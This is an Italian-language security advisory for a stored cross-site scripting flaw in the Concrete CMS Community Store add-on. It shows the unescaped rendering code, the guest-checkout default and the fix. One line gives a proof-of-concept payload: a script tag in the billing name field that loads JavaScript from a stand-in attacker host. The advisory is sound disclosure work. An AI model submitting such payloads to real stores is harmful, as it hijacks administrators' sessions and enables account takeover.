XSS memorizzato in Concrete CMS Community Store porta alla compromissione della dashboard di amministrazione
| CVE | CVE-2026-93659 |
| Componente | concretecms-community-store/community_store |
| Tipo | Cross-Site Scripting memorizzato (CWE-79) |
| Gravità | CVSS v4.0 9.3 Critico / v3.1 8.7 Alto |
| Affetto | Tutte le versioni precedenti alla 2.7.8 |
| Corretto in | 2.7.8 |
| Riconoscimento | Prince Edem Fiagbedzi (scopritore) |
Community Store, un add-on e-commerce open-source per Concrete CMS, memorizzava i campi dell'ordine forniti dal cliente senza sanificarli e li renderizzava senza escaping HTML in quattro viste rivolte all'amministratore. Qualsiasi visitatore non autenticato poteva effettuare un ordine con un payload script in un campo come il nome di fatturazione, e il payload veniva eseguito all'interno della sessione autenticata della dashboard di un gestore del negozio la volta successiva in cui questi apriva quell'ordine, abbastanza per creare un account amministratore fraudolento o esfiltrare i dati di sessione.
Ogni ordine porta con sé campi forniti dal cliente: nome, cognome, email e telefono di fatturazione/spedizione. Quei campi vengono memorizzati così come sono e renderizzati in quattro punti che un gestore del negozio consulta abitualmente:
single_pages/dashboard/store/orders.php)elements/order_slip.php)single_pages/dashboard/store/reports/*.php)single_pages/checkout/complete.php)Fondamentalmente, effettuare un ordine non richiede alcun account. L'impostazione
del checkout come ospite di Community Store è predefinita su always, impostata
così dall'installer del pacchetto stesso su ogni installazione nuova, non qualcosa
che l'operatore del negozio debba attivare. Quindi non è un bug che richiede un
negozio mal configurato; è sfruttabile contro un'installazione predefinita,
pronta all'uso, senza credenziali richieste.
Aggiornare Community Store alla versione 2.7.8 o successiva. La correzione aggiunge un corretto escaping dell'output in tutti e quattro i punti di renderizzazione affetti. Non esiste una soluzione alternativa a livello di configurazione se non l'aggiornamento, poiché il comportamento vulnerabile è l'escaping stesso, non un'opzione.
Nessuno dei quattro punti di renderizzazione effettuava l'escaping dei campi controllati dal cliente. Una riga rappresentativa dalla vista ordine dell'amministratore:
<?= $order->getAttribute("billing_first_name"). " " . $order->getAttribute("billing_last_name")?><br>
Nessuna chiamata a h(), l'helper standard di escaping dell'output di Concrete,
da nessuna parte nelle vicinanze, anche se lo stesso file usava h() correttamente
a poche righe di distanza per altri valori. La validazione dell'input non era
migliore: l'unico controllo applicato a questi campi era un limite di lunghezza
(1-255 caratteri), nulla che rimuovesse o rifiutasse l'HTML.
if (strlen($data['store-checkout']['first-name']) < 1) { ... }
if (strlen($data['store-checkout']['first-name']) > 255) { ... }
// no HTML sanitization
Un payload <script> sotto i 255 caratteri nel campo del nome di fatturazione
supera la validazione intatto, viene memorizzato e successivamente renderizzato
senza escaping ovunque un amministratore consulti l'ordine.
Il valore predefinito del checkout come ospite è impostato direttamente nell'installer:
// src/CommunityStore/Utilities/Installer.php
$this->config->save('community_store', [
...
'guestCheckout' => 'always'
]);
Il controller del checkout forza il login solo quando quell'impostazione è off
(o option senza flag ospite), e con il valore predefinito installato, quel ramo
non viene mai attivato.
Testato contro Community Store v2.7.7 su Concrete CMS 9.5.2 (laboratorio Docker self-hosted, PHP 8.3). Payload inviato come un normale checkout da ospite, senza alcuna autenticazione:
billing_first_name = <script src="https://attacker-controlled.example/payload.js"></script>
2a802d6,
che aggiunge l'escaping h() a tutti e quattro i punti di renderizzazione
affetti